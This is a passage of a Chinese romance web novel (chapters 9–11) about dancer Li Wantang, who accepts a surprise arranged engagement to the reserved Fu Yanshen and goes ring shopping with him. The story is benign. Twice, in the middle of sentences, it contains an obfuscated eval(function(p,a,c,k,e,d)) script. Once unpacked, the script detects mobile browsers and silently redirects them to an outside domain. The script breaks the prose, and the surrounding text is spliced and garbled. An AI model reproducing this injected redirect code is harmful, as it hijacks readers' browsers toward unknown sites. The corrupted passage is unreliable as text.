傅砚深眼眸微敛,对于今日这场突如其来的订婚,他并不知晓。 余光扫过双方家长淡然自若的表情,不用猜也明白了,全场唯一不知道的,应该就他和黎晚棠。 他坦诚道:“我也刚知道。” 黎晚棠认真端详傅砚深脸上的表情,最后确定他确实不知情的,因为在他面无表情的脸上,出现了罕见的茫然。 她暗叹了口气,侧眸瞥了眼目光闪躲的沈老师,瞬间了然。 “棠棠,是这样的,我和听荷商量着,你跟砚深都比较低调,平时工作也忙,订婚就简单点,两家人在一起吃顿饭就算成了。” 宋徽音见气氛有些凝固,笑着解释:“主要是宋阿姨着急,你也知道砚深平日话少,性格沉闷还死板,像你这么好的孩子,我怕他不知道珍惜,把你错过了。” 黎晚棠算是明白,双方家长怕夜长梦多,都怕对方跑了。 她不是那种不懂事的人,长辈都主动解释了,就算她心里再不舒服,也不会把情绪表露出来。 黎晚棠扯唇:“我就是有点惊讶,觉得太快了。” 她转而说道:“不过镯子我很喜欢,谢谢傅奶奶。” 对于黎晚棠态度的松动,包厢气氛顿时又活跃起来。 只有傅砚深清楚,黎晚棠表面越是平静,心里就越低落。 从辅导她功课开始,他就发现了黎晚棠的一个秘密。 她不高兴的时候就喜欢吃糖。 就像现在,她不知从哪里变出两粒糖,深紫色的包装,外观看着精致小巧。 傅砚深盯着看了几秒,强行把目光收了回来,等菜上齐,他率先给黎晚棠舀一勺山药木耳。 “或许吃这个,比吃糖更能释放情绪。” 男人刻意压低的声音低沉浑厚,像夜间电台播音员打磨过的声线,从耳廓窜入,直击心灵深处。 加上两人本来就是挨着坐的,此刻他稍稍侧身靠近,那股淡淡的冷香气息扑面而来,让黎晚棠身形一僵。 其实她已经在很努力掩饰自己的情绪,但傅砚深还是敏锐地察觉到了。 黎晚棠盯着餐盘的菜看许久,低头说了句谢谢。 有了这个开端,接下来她都不需要伸手夹菜,瓷盘里就有她喜欢且能吃的食物。 双方家长看到两人的相处模式,抿唇偷笑,接着又相互对看了一眼,觉得他们这阵子没白忙活。 这顿饭吃得还算愉快,到九点才各自离开。 上车后,黎晚棠卸掉伪装的面具,懒洋洋地靠着椅背,偏头盯着窗外不说话。 沈听荷和黎智海对视一眼,也知道女儿这是生气了。 “棠棠,这事我没跟你提前说,是怕你不高兴。” 沈听荷想去牵黎晚棠放膝盖上的手,可刚触碰上,就被她头也不回地甩了回来。 “……” 沈听荷抿了抿唇,侧眸示意黎智海说两句。 黎智海见状哪还敢说话,平时黎晚棠要做什么,他都顺着她,唯独在选老公这事没能如她的意,恐怕这会儿她也不想理他这个爸爸。 但老婆一个劲给他使眼色,他也只能硬着头皮开口:“闺女,相信爸爸妈妈的眼光,砚深那孩子肯定能给你幸福,将来他也会像爸爸妈妈一样,把你当成孩子宠,不会让你受一点委屈。” “是他跟你们承诺过,还是你们一心认为。”黎晚棠忽而回头看着他,语气冰冷。 黎智海凝噎住,一时不知如何回答。 他当然是看出来的,但这话他不敢说,怕被闺女骂。 沈听荷见黎智海被怼的哑口无言,忙接过话:“砚深这孩子是我们从小看到大的,什么秉性还不了解吗,棠棠,爸爸妈妈也是为你好。” 黎晚棠不想跟他们发火,但心底那股情绪已经升到顶峰,完全压不下去。 “所以你们就打着为我好的旗号,提前把我这一生都安排好了,可你们在做这些事之前,有没有问过我愿不愿意,高不高兴,或者开不开心!” 一连串的质问声铺天盖地砸下来,在这封闭的车厢里尤为响亮,余音回荡,深深扎进他们三人的心里。 黎智海和沈听荷瞬间沉默下来,两人都微垂着眸,似乎在认真思考黎晚棠的这番话。 同时也在反思自己,这件事他们是不是做错了。 一路沉默到家,黎晚棠下车跟他们打了招呼后,转身上了楼。 黎智海不放心,偏头去问身旁的沈听荷:“待会儿,你要不去跟闺女好好谈谈,如果她真不愿意,两家的婚事要不就算了。” 沈听荷面露难色:“事情都到了这一步,还能退吗?” 她看了眼消失在楼梯间的背影,侧身去看黎智海,像有气没处发:“当初我看你还不顺眼呢,到最后不还是嫁给你了吗。” 黎智海年轻时是一名演员,虽然老演些配角人物,却也拿过不少奖项,当时他资源还可以,手里收到的剧本多,巴结讨好他的人络绎不绝,他们也是在朋友聚会上认识。 沈听荷觉得黎智海那个圈子太乱,不想跟他有太多接触,同时也认为他们不合适自己,可后来相处久了,她得出一个结论。 人有时候不能看外表,也不能看他的职业,要看他哪颗心。 所以她相信自己的眼光,傅砚深会是第二个黎智海,结婚后能宠黎晚棠一辈子。 话题聊到这,黎智海笑着把人拥进怀里:“老婆,我当初是死皮赖脸追你的,情况不同。” “是啊,所以砚深多了一个便利条件,他现在和棠棠需要的是更多相处的时间。” 深听荷把头贴在他胸口处,拍了拍他后背:“你放心吧,晚点我再去看看棠棠。” - 黎晚棠关上门,就把自己狠狠摔进被子里,目光盯着头顶那盏云朵灯,毫无聚焦的发着呆。 她现在虽然不那么排斥跟傅砚深相处,但突如其来的订婚确实让她一时接受不了。 明明说好是两家人一起吃顿饭,却成了他们当事人毫不知情的订婚宴。 哪有他们这么干的。 黎晚棠烦躁地翻了个身,回想刚刚她在车上说过的话,或许当时语气有点重了。 从小到大,她不管做什么爸妈都挺顺着她的,就连跳舞那么难走的一条路,母亲宁可放弃自己的事业,也要坚持回家陪她,照顾她的生活起居,还成了她最好的舞蹈老师。 说真的,如果没有母亲的默默付出,她不会有今天这样的成绩。 黎晚棠越想越烦躁,胡乱抓了把头发,而后倏地从床上坐起来。 她进入衣帽间换了身舞蹈服,拿上背包出了门。 一路开车来到她儿时的舞蹈教室,推开门,她先把所有灯光打开,而后把背包放在一旁,蹲下身开始换上舞蹈鞋。 不高兴或者郁闷时,她就喜欢躲在这空无一人的地方,尽情释放心底的情绪。 室内没播放任何音乐,黎晚棠猛地甩开双臂,脚尖重重碾过地板,像是要把什么看不见的东西用力踩碎。 旋转时裙摆猎猎作响,仿佛像一把尖锐的刀刃无声划破空气,她每一个动作都带着狠劲。 短短十几分钟,汗水飞溅在聚光灯下,脸上睫毛膏晕成两道黑痕。 此刻的她像个飞速旋转的陀螺,不知停歇,只想耗尽身体里最后一丝力气,用汗水换取新的能量。 傅砚深赶到时,看到的就是这样一幅画面。 空空荡荡的舞蹈室,那抹纤细的身影在孤独的夜里翩翩起舞。 没有音乐,女孩就用脚跟跺出凌乱的节拍,仰头旋转时的呼吸一次比一次重,累得像是刚和整个世界打一架。 最后一记劈叉落地,女孩如脱力般缓缓躺在地板上,所有的躁动都回归于平静。 黎晚棠大口大口地呼吸着,全身湿透,仿佛是被人打捞上岸的鱼,缺氧又缺水。 “喝点吧。” 眼前突然出现的一瓶矿泉水,让她表情愣住。 片刻,才顺着那只结实的手臂往上移动,看清站在她面前的男人。 高大如松的身形像座大山站在她面前,男人居高临下地看着她,半边阴影挡在她身上。 黎晚棠惊诧出声:“你怎么会在这里?” 这个舞蹈室除了身边亲近的人,很少人知道。 傅砚深漆黑的眸子盯着她,实话实说:“阿姨去你房间没看到人,情急之下给我打电话,最后猜想你应该会在这里。” 黎晚棠轻眨了下眼睫,双手撑着地板坐起身,不客气地接过他手里的矿泉水:“谢谢。” 她刚要用力去拧瓶盖,却发现已经被人拧开了,微顿的动作没持续多久,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大屏幕上一共有三十二条,她大略扫了眼,优势排满,而劣势那一栏只有一条。 ——最不能控制的,是你永远害怕谢幕时刻。 黎晚棠不着急去看其他优势,而是忽地仰头问他:“为什么……劣势会是这个?” 这条对其他人而言并没什么,但对于一个舞者却有着独特的意义。 谢幕不仅是表演的结束,也是舞者心理上的转折点,这种情感对于长期投入的舞者尤为强烈,因为他们深知每一次谢幕,观众的掌声是对自己努力的认可。 同时也是对舞台的告别。 所以他们最不愿面对的,就是表演结束的那一刻。 黎晚棠很惊讶,傅砚深会懂这句话的含义,还列在了劣势栏里。 傅砚深对上她看过来的目光,平静解释:“我能做到以上的所有优势,唯独这条劣势,是我想做而又无能为力的。” 灯光从男人头顶倾泻而下,光线沿着他立体五官流淌,眼镜下的那双眼眸深邃明亮,仿佛在无声述说着某种承诺。 黎晚棠看着他,心底某处好像被轻轻触碰了下,只是没等她抓住那抹感受,很快就消失不见。 她别过头,这才认真去看他列出的优势。 优势一,抗风险,比如生病有人照顾,失业还有另一个人兜底。 优势二,婚前的自由,不会因为婚后而改变。 优势三,婚姻不仅不会影响到事业,反而有需要的地方,另一方还能增砖添瓦。 黎晚棠从上至下,仔仔细细看完每一条内容,直到目光落在最后那条标注上。 ——黎晚棠,大家都说婚姻是爱情的坟墓,可对我们而言,这才是生活的开始。 生活的开始? 黎晚棠缓缓垂下眼睫,此刻的心情有点复杂。 不知是傅砚深分析报表写得太好,还是说他把事情想得太周全,竟然把她所顾虑的问题全列了出来。 能看得出来,他这份优劣分析表报,是用心给她定制的。 见她一直不说话,傅砚深出声打破沉默:“需要修改的地方,你可以提出。” 黎晚棠盯着光滑的地板深吸了一口气,而后站起身,仰头面对面地看着他:“傅砚深,你还有口述补充的优势吗?” “有。” 傅砚深沉吟片刻,像是难以启齿的事,却还是从口中挤了出来:“会疼人。” 10. 第 10 章 这种话对傅砚深来说有点矫情,虽然他会这项技能,但直接表达出来还是有些难为情。 母亲经常说这点是他的优势,年纪大的本就该疼比他小的。 黎晚棠即将成为他的妻子,他有义务和责任照顾好她。 所以这点应该让她知道。 黎晚棠盯着眼前的男人,不知是头顶灯光太模糊,还是她眼神出了问题,她竟然恍惚看到傅砚深耳朵红了。 可仔细去看时,又像没什么异样。 “嗯,算是个不错的优势。”黎晚棠挑眉点头,转身准备去收拾东西。 傅砚深摸不准她的态度,试探问:“所以,你现在对这段婚姻还有什么看法?” “没有。”她毫不犹豫。 傅砚深盯着黎晚棠的背影没说话,就这般静静看着女孩脱掉脚上舞鞋,换上平时穿的鞋子,等她做完这一切才转过身看向他。 “吸引力还挺大的。” 黎晚棠一步步走到他面前,仰头盯着他镜片下的那双黑眸,问:“所有优势都针对我了,你岂不是很吃亏?” “都是些作为丈夫需要做的事情,不存在吃亏。” 傅砚深垂眸回视她,低声平静道:“而且是你嫁进我们傅家,如果这些保障都不能给你,那吃亏的人会是你。” 黎晚棠眼睫轻颤了下,那颗坚定不移的心逐渐动摇,或许父母没看错,傅砚深确实是一个合格的丈夫。 她垂下眼睫,扯唇轻笑:“你这么晚过来,就是想着如何说服我?” “这是其一。”傅砚深坦言:“我只是不想你有什么心理负担。” 而是要她心甘情愿。 黎晚棠抬头:“那其二呢?” “叔叔阿姨担心你,又怕你不想看见他们,所以打电话让我过来看看,你现在是否安全。” 傅砚深把沈听荷给他打电话的事情如实告知。 唯独他是怎么知道这间舞蹈房的,选择了隐瞒。 得知父母的担心,黎晚棠抿住唇角没说话,许久才出声:“走吧。” 傅砚深站着没动,而是侧身抽出一张湿巾,递给她:“擦擦吧。” 黎晚棠茫然眨眼:“……擦哪?” 她又没哭,没必要去擦不存在的眼泪吧? 傅砚深平静指出:“汗水把你的妆晕花了,你现在眼睑下有两条黑痕。” “……” 闻言,黎晚棠忽而转头看向镜子,脸上的妆全花了,两只眼睛跟大熊猫似的,简直没眼看。 “你这么不早说!” 她气愤抓过傅砚深手里的湿巾,对着镜子擦拭:“还有没有,再给我几张。” 傅砚深低头时,嘴角很浅地扯了下,抬头递给她湿纸巾,面色又恢复正常。 见她很在意,他中肯地评价:“不丑。” “又不是你顶着两个熊猫眼,当然不丑!” 黎晚棠接过湿巾对着镜子胡乱擦拭,彻底把脸上的妆容擦干净,才舒坦:“好了,走吧。” 两人走出舞蹈室,看到门口停着的那两辆车,她偏头说道:“各开各的吧。” 傅砚深垂眸:“我送你。” “不用,这样我的车就没法开回去。” 黎晚棠翻出车钥匙,径直走到车前,回头正要跟傅砚深告别,见人没站在院门口。 她忽而侧头,就见这人已经拉开他自己的车门。 傅砚深对上她茫然的视线,低声解释:“我的意思,是我开车跟着你,送你回去。” 黎晚棠:“……” 半点情商都没有,早晚被他气死。 夜间的快速道上,两辆车一前一后地行驶着。 后面的那辆黑色轿车始终保持着安全距离,直至拐入一座别墅门口,才缓缓停下。 入院前,黎晚棠降下车窗,探出脑袋去看身后的车:“我到了,你也早点回去休息吧。” 她顿了下,舔唇:“今晚……谢谢你。” 傅砚深没错过她话里的停顿,轻轻点头:“早点休息。” 看着她的车进入院子,平稳停在车库,听着房门声响起,再关上,傅砚深这才转动方向盘离开。 黎晚棠推开房门,客厅灯光全开着,沙发上,父母穿着睡衣依靠在一起,看样子是在等她。 听到玄关传来动静,沈听荷立马从黎智海怀里坐起来,见是女儿回来了,她急忙站起身:“棠棠,回来了。” 语气里带着小心翼翼。 黎晚棠鼻尖微酸,轻眨眼睫走上前,扯出笑意:“不用睡觉吗,都在这里熬夜。” 黎智海听出女儿这是气消了,紧抿的嘴角终于扬了起来:“你不回来,你妈睡不着。” 沈听荷嗔他:“你不也是。” 看到父母脸上逐渐展露笑容,黎晚棠低头,轻抿了下唇角:“我就是睡不着,在家又怕打扰你们睡觉,就去怀南路的舞蹈房练了会儿。” 见他们站着不动,目光仍落在自己身上,黎晚棠上前催促:“哎呀,你们赶紧回房睡觉,我洗澡也要睡了,好困。” “好好好,我们都睡。” 盯着父母回房的背影,黎晚棠仰头去看头顶那盏灯,轻眨了几下后,随即弯唇笑了。 - 次日醒来,已是上午十点。 黎晚棠洗漱完下楼,发现黎智海还在家,诧异道:“爸,你今天不用去公司吗?” 黎智海放下报纸抬头,正好对上女儿诧异的眼神,他笑着拍了拍身旁的位置:“过来,爸爸有话跟你说。” 恰时,沈听荷也从厨房走了出来:“韩姨一早过来给你顿的汤,等会儿喝点。” 黎晚棠狐疑地目光在两人身上扫了几眼,慢悠悠走到沙发旁坐下,故意说道:“爸,你要我继承公司,我可不干啊。” 黎智海失笑:“你不喜欢干的事,爸爸以后都不勉强你。” 他顿了下,又说:“婚姻也是。” 听到这话,黎晚棠嘴上笑容僵住:“……什么意思?” 沈听荷来到她身旁坐下,抬手牵过她的手轻拍了两下,偏头看着她?:“如果你实在不喜欢傅家这门婚事,那我就和你爸去傅家说说,我们把这门婚事退了。” 经过昨夜他们也想通了,他们确实不能打着关心她的旗号,帮她安排不想要的婚姻。 日子是她过,如何选择,应该由她自己做决定。 黎晚棠垂眸抿唇,半天没开口说话,心情复杂的同时,又在想,如果他们早一天跟她说这话,她或许能高兴得跳起来。 可昨晚,她已经作出决定了。 “不用,我同意这门婚事。” 黎晚棠抬头看着她爸妈,弯唇笑了下:“这几次跟傅砚深接触,发现他身上优点还不少,确实挺合适过日子的。” 沈听荷忽而偏头去看黎智海,两人眼底都带着茫然和惊诧。 看来这孩子还在生气。 她又扭头去看黎晚棠,忙说道:“棠棠,爸爸妈妈现在尊重你,你不用勉强。” 黎晚棠语气笃定:“不勉强,我是认真的。” “……” 话音落下,约莫过了半分钟,沈听荷和黎智海才反应过来。 最后,沈听荷先弯唇笑了起来:“棠棠,你能这么想,爸爸妈妈真的很高兴,现在我们不用担心失去你,还多了个好女婿。” 黎智海也笑着点头:“是呀,砚深这孩子真不错,昨夜接到你妈电话,他二话不说就开车出去找你,就凭这点,他这女婿我认定了。” “……” 看到爸妈脸上掩饰不住的喜悦,黎晚棠忽而被气笑了:“哦,合着刚才只是小小的试探,你们压根就不想退婚。” 沈听荷笑得合不拢嘴:“不是不是,我跟你爸还是尊重你的意愿,只是现在你能同意吧,我俩特高兴。” 说着,两人便兴冲冲地开始讨论起,两家如何办婚礼的事。 黎晚棠抽了抽嘴角,索性从他们中间起身离开,彻底把空间让给他们。 吃过饭,她就出门去了理疗中心。 不过在这之前,黎晚棠约了叶知薇,两人在附近逛街。 开始针灸时,黎晚棠忍着疼痛,偏头问:“王师傅,我膝盖现在做大跳跃动作,应该没什么问题吧。” 在她十九岁那年,膝盖就突然疼得动不了,后来经过多方面的检查,得出是髌腱炎,长期超负荷引起的慢性损伤。 所以隔断时间她就需要过来做针灸治疗。 王师傅看了眼黎晚棠,明白她的用意:“又有比赛了?” 黎晚棠笑着点头:“嗯,而且还挺重要的,我需要这个机会。” “大跳跃对你现在的膝盖而言肯定会有影响,非不得已,还是要好好保护。” 黎晚棠笑道:“嗯,我保证这期间不来找你。” 王师傅被她这模样逗笑:“希望你说到做到。” 黎晚棠从理疗中心出来,已经是下午两点过后。 她刚走到商场门口,叶知薇隔着老远就朝她挥手:“棠棠,在这呢!” 黎晚棠笑着走了过去:“你几点到的?” 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“你赶紧去治治脑子吧,平时都装些什么呢。”黎晚棠嫌弃地推开她。 叶知薇气笑了,扶着她稳了稳身形:“得嘞,我就坐等着你上瘾的那一天。” 她现在没开过荤,先不跟她计较。 黎晚棠好笑:“你以为是吃糖呢,还上瘾。” “那当然!男人可比糖好吃,你吃过就懂了。”叶知薇挑眉。 叮咚一声,电梯门打开。 黎晚棠及时捂住她的嘴,拉着她直奔熟悉的品牌店。 两人身材都好,只要看上的款式,上身效果都不错。 叶知薇见黎晚棠穿了条收腰吊带裙出来,挑眉惊呼:“哇哦,我要有你这养鱼的锁骨和直角肩,这个夏天就把吊带锁死。” 店长也笑着上前夸赞:“黎小姐,你身材确实是我见过最好的,这条裙子被你穿出走秀款的感觉。” 她没夸张,黎晚棠身高腿长,胸前的饱满隐约可见,薄如纸的后背光滑白皙,气质更是完美出众。 叶知薇笑着去看店长:“小嘴挺会说,不愧能当店长。” 店长弯唇:“叶小姐,你身材也不差,只是我夸过你太多遍,现在已经找不到形容词了。” 这话直接把两人逗笑,黎晚棠盯着镜中的自己,小手一挥:“行,这条也要。” 她转身刚想去换衣服,包里手机不合时宜地响了起来,掏出见是一个陌生号码,皱眉接通:“喂,那位?” “是我,傅砚深。” 男人低沉的声音从听筒传出,像被压过的砂砾,沙哑却不粗糙。 黎晚棠垂睫:“哦,有事?” 傅砚深直接问:“你下午有空吗,我带你去挑选订婚戒指。” 黎晚棠余光瞥了眼,满脸八卦凑到她手机旁的叶知薇,笑瞪她一眼后,拿着手机转身:“怎么突然要买这个。” “昨天订婚,戒指却没有准备,今天补上。” “不用了吧,以后结婚再说。”黎晚棠不想那么麻烦,到时候直接戴个结婚戒指就好了。 “流程不能少。” 傅砚深语气坚定:“你在家吗,我去接你。” 知道这人死板,做什么都要按照流程走,她偏头看了眼周围:“没在家,你直接来国贸吧,我现在这里。” “好,我半个小时到。” 电话刚挂,叶知薇忙凑近她:“谁要过来?” 黎晚棠把手机放回包里,笑着瞥她一眼,挑眉问:“真人版的傅砚深,要不要看?” 叶知薇眼睛忽亮:“当然要!” 之前挑选的衣服还来不及试穿,叶知薇就急匆匆拉着她前往柜台结账,期间,还特意叮嘱黎晚棠,待会儿去挑戒指就穿身上这条吊带裙,比原先她那套休闲装合适。 见她不愿意,叶知薇笑着调侃:“哎呀,长辈送的镯子都戴上了,就这么穿没事呀。” 黎晚棠皱眉,平常这么穿没什么,现在是要去挑订婚戒指,如果穿得那么正式,搞得她很在意似的。 可没等她纠结,傅砚深已经提前十分钟到了商场。 两人站在扶手电梯边缘等待,叶知薇盯着一点点出现在她们面前的傅砚深,激动得挽紧黎晚棠的胳膊。 “姐妹,我敢打包票,就他这副身子,你吃了绝对会上瘾!” 傅砚深刚走近,听到她们后面这句,下意识去问黎晚棠:“吃什么上瘾?” 11. 第 11 章 “……” 半分钟里,黎晚棠脸上闪过各种尴尬表情,她嘴角动了动,半天说不出话。 还是叶知薇反应快,笑着接话:“她喜欢吃糖,从小就对各种甜食上瘾。” 黎晚棠喜欢吃糖这事他清楚,所以并不怀疑叶知薇这话。 反倒是叶知薇的解说,让傅砚深目光落在她身上。 “这位是?” 他偏头去问,看似还愣着没动的黎晚棠。 黎晚棠秒回神:“哦,这是我闺蜜叶知薇,小时候我们就在一起练舞,不过她现在是一名记者。” “嗨,你好。” 叶知薇笑着挥手,目光落在男人那张俊脸上,越看越满意。 嗷嗷! 晚棠这家伙吃得真好! 傅砚深礼貌性地朝对方点了下头:“你好,我是黎晚棠的未婚夫,傅砚深。” “……” 黎晚棠错愕抬眸,她还来不及介绍,他先自报家门了,还大言不惭地说是她未婚夫。 未婚夫? 这几个字连在一起,怎么听怎么别扭。 “我知道,棠棠经常跟我提起你,今天很荣幸能见到你本人。”叶知薇眼睛就没从傅砚深身上离开过。 男人身材高大挺拔,犹如一棵参天大树,肩膀宽阔而结实,给人一种沉稳可靠的感觉,鼻梁上的眼镜又平添些许斯文矜贵。 傅砚深眼眸微动:“经常提起我?” “是呀,她说你——” 叶知薇话还没说完,黎晚棠立马冲过去捂住她的嘴,眨眼警告的同时,笑着开口:“你不是有事要去忙吗,快去吧,改日我请你吃饭。” 叶知薇对上黎晚棠警告的眼神,会心一笑:“好。” 等嘴巴上的手挪开,她笑着跟傅砚深挥手告别:“妹夫,下次见。” “……” 黎晚棠又有捂她嘴的冲动,她真是啥话都敢说。 妹夫? 叶知薇就大她两天,也好意思叫人家妹夫。 可某人还一本正经地回应了:“好,下次见。” 等叶知薇离开,黎晚棠侧身睨他一眼:“我承认了吗,你就应下这声妹夫。” “我们婚都订了,她这声妹夫也没叫错。” 傅砚深视线从她贴身的吊带裙扫过,眼眸暗了下,而后脱掉身上的外套披她肩头:“商场冷气比较低,穿着点。” 突如其来的外套盖住肩膀,黎晚棠还没反应过来,那股淡淡的冷香从鼻尖涌入,衬里还残留他身上的体温,她整个人像被他拥入怀中。 黎晚棠呼吸微滞,下一秒就要把身上外套扯下来:“不要,我热!” 可身上外套却纹丝不动,男人那双大手紧按住她肩膀两侧,出口的话颇有种家长教训孩子的口吻。 “现在才刚入夏,我们需要理智看待保暖这个问题,寒气入体对身体伤害比较大。” 黎晚棠静静望着眼前的男人,气得直想跺脚,清楚拗不过他讲死理那劲,不情愿点头:“哦,知道了,快去买戒指吧。” “好,我们需要下一楼。” - 坐在柜台前,黎晚棠盯着面前的铂金对戒,心情极其复杂。 以后的生活真要跟傅砚深捆绑在一起了。 她能适应吗? “我帮你戴上试试。”傅砚深取出那枚女士钻戒,侧头看她:“款式不喜欢,再换别的。” 黎晚棠盯着男人手上的戒指,本想拿过来自己戴,可想到戴戒指也需要仪式感,最后缓缓把手伸了出去。 傅砚深握住她纤细莹白的指尖,呼吸微紧,将那枚戒指戴在她无名指上,而后一点点推入顶端。 黎晚棠盯着无名指上的戒指,皱眉问:“订婚戒指不应该是戴中指上吗?” 傅砚深松开她的手,淡然自若地解释:“婚戒需要订制没那么快,这个先暂时当婚戒用。” 说着,他抬眸问她:“看款式喜不喜欢。” 黎晚棠见周边都是服务人员,好几双眼睛都落在他们身上,也就不没跟他争论,低头去看无名指上的戒指。 铂金托起一颗菱形的主钻,指尖晃动时,折射出无数道细碎的光。 傅砚深眼光不错,简约独特的款式,很合适她这种纤细的手指。 黎晚棠收回手,勉强接受:“还行,就这个吧。” 见她满意,服务人员立刻把男戒递了过来:“小姐,这枚男戒给您,顺便帮您未婚夫戴上吧。” 黎晚棠下意识去看傅砚深,意思很明显,要他自己戴,哪知下一秒,男人竟突然把左手伸了出来。 “……” 不是,她是这个意思吗? 黎晚棠看着面前的这只骨节分明的大手,心想算了,就当礼尚往来。 她捏住傅砚深的无名指,快速将戒指套了进去,动作极其不温柔:“行,你戴着也不错。” 傅砚深视线在两人无名指上扫过,赞同道:“嗯,挺配。” “……” 黎晚棠嘴角抽了抽,也不知道他说的是人,还是戒指。 出了商场,黎晚棠垂睫思索着,寻找离开的借口:“晚饭就不跟你吃了,明天我要为比赛做准备,今晚需要早点休息。” 傅砚深点头:“好,后续事宜,我先回去跟母亲商量,再询问你的意见。” 不用细问也知道他说的是哪些事情,除了办婚礼领证,他们之间没什么事需要商量。 “哦。” 黎晚棠把身上外套取下来,刚要还给他,傅砚深先开了口:“披着吧,改天给我。” 她抬起的手忽顿,见他表情认真,且带着不容置疑的口吻,又默默松手:“好,那我先走了。” 有过上次的教育经验,黎晚棠这次规规矩矩把车开出停车场,不看手机也不打电话,等汇入车流,傅砚深那抹高大身影消失不见,她一脚踩下油门冲了出去。 反手扯下肩头的西服外套,丢在副驾驶上。 暗骂了句老古板。 回到家,黎晚棠似乎早就预料到了,沈老师看到她手上的戒指,肯定会喜笑颜开地夸赞一番。 “砚深想得太周到了,这些细节问题我们都没想到,这孩子先带你去买了,他做事真让人省心,款式挑得也好看。” 沈听荷拉着她的手爱不释手地打量,猛然想到什么:“呀,你们婚也定了,戒指也戴上了,那婚礼的事我得赶紧跟徽音聊聊,要人找个大师算个好日子才行。” 黎晚棠看着风风火火跑去打电话的母亲,深吸口气,仰头懒懒地往沙发上一躺。 她此刻很想静静。 然而没等她心情平复两天,傅砚深就把两家商讨出来的结果告诉她。 婚礼找大师算过,按照两人的八字,婚期定在明年三月十二号,是个宜娶宜嫁的好日子。 从现在开始计算,还有大半年的时间筹划,父母的意思是要他们先把证领了,两口子搬出去住,先培养培养感情。 事到如今,黎晚棠反驳也没用,只能按照长辈的安排进行。 只是在领证前,婚前协议需要说清楚。 黎晚棠在电话里直接问:“明天你有时间吗,我们找个地方谈一谈婚前协议。” 傅砚深沉默了会儿,开口:“那明天下班我去接你。” 黎晚棠想想也行,中午休息的时间有限,万一谈不拢,她连谈判的时间都没有。 “好,你到了给我发信息。” 黎晚棠挂掉电话,一边泡脚,一边拿过纸笔,把需要执行的协议列了出来,防止明天手忙脚乱。 其实她戴上戒指的那天,白露晞就发现了,旁敲侧击把事情的大概了解得差不多。 今天得知她那位未来老公要过来接她,白露晞千叮万嘱,下班要等她一起出门。 黎晚棠觉得好笑,也知道她八卦心重,今天要是看不着人,一晚上都睡不好。 事情不知从哪走路风声,舞团大部分人都知道她要结婚的事,连团长都把她叫去了办公室。 “晚棠,听大家说你要结婚了。”苏清得知这个消息,立马就把黎晚棠叫过来核实情况。 黎晚棠知道团长在担忧什么,索性明说:“嗯,我是要结婚,但也仅是结婚,不会影响我的舞蹈事业。” 苏清听到她这话,松了口气:“所以你对象不会干涉你的事业,以及强迫你生孩子?” 黎晚棠现在的事业在上升期,也是他们看好的首席苗子,所以在这个时候,最好不要生出别的事端。 黎晚棠心里没谱,但依照母亲和傅砚深之前给了承诺,应该不会。 她笑着摇头:“不会的,他尊重我的想法。” 苏清这会儿是彻底放心了,之后问了她比赛的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078796|179342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黎晚棠回答完,推门离开。 只是在走廊拐角,恰好碰到了罗恩。 黎晚棠笑着喊了句师哥。 罗恩点头,目光无意识落在她无名指的戒指上,沉默片刻,还是没忍住问出声:“之前没听你说过结婚的事,怎么那么突然?” “很早就有的婚约,也不突然。”黎晚棠弯唇:“婚礼在明年三月份举行,到时候我会给师哥发请柬的。” 师哥人很好,她不希望给他别的错觉。 罗恩艰难地扯起唇角:“好,我一定去。” 黎晚棠笑着跟他点头,返回排练厅继续练习。 直到下班前,她收到傅砚深发来的信息:【我还有十分钟就到,你不用着急,收拾好了再出来。】 黎晚棠回了个好,抬手擦了擦额前汗水,转身准备去洗澡。 白露晞见状,忙跑了过来,气喘吁吁道:“你老公到了。” 黎晚棠:“……” 怎么她们出口的话,一个比一个敢说。 “嗯,到了,我去洗澡,你要不要一起?” “要要要,我很快!” 十分钟后,两人换好衣服从休息室出来,刚走到门口,就撞上排练回来的温若棠。 她瞥了眼黎晚棠,嘴角轻扯了下:“恭喜啊,像你这样的人选择结婚是明智的,反正你又不缺什么。” 她家庭背景优越,大家都知道,大小姐就算不用努力也能过得很好。 不像她们这些普通人,只有努力才能改变命运。 “结婚而已,又不是去生娃,你不会以为我结婚就不回来了吧。” 黎晚棠侧身掠过她,低声在她耳边说了句:“还没赢你呢,我怎么能走。” 丢下这话,黎晚棠昂首挺胸地往外走。 白露晞偷瞥了眼气得脸涨红的温若棠,捂嘴追了上去:“晚晚,她又被你气炸了。” “她心眼小,没得治。” 两人并肩往外走,白露晞目光迫不及待地往外看,当瞧见之前那位疑似男明星的男人时,激动扯黎晚棠胳膊:“晚晚,上次找你的那个男人也在耶,她是不是你亲戚呀!” 黎晚棠顺着她的视线偏头,还是在老地方看到傅砚深的身影,男人身高腿长,那张脸格外引人注目。 见身旁这位如此激动,她笑道:“除了亲戚,你就想不到别的了?” “还能是啥,总不能他就是你老公吧。” 黎晚棠皱眉:“纠正一下,我们还没领证,这个称呼顶多算是未婚夫。” “啊?”白露晞反应过来,极其震惊地侧头看她:“你未婚夫是他呀!” 傅砚深听到声音抬头,见是黎晚棠,阔步上前:“忙完了?” 黎晚棠点头,本想介绍身旁的白露晞,见她傻愣在原地没动,只能笑着朝她挥手,跟着傅砚深转身离开。 算了,还是先让她缓缓吧。 上车后,傅砚深见黎晚棠系好安全带,这才转动方向盘。 他提前定好了餐厅,包厢形式的,方便两人聊接下来的话题。 黎晚棠吃的种类不多,点完菜后,正式进入今天的协议话题。 她从包里拿出事先准备好的协议书。 说是协议书,其实就是她从电脑打印出来的副本。 傅砚深眼眸微垂,目光落在连封页都没有的协议书上,片刻后,抬手拿了过来。 十分钟不到,他已认真看完所有内容。 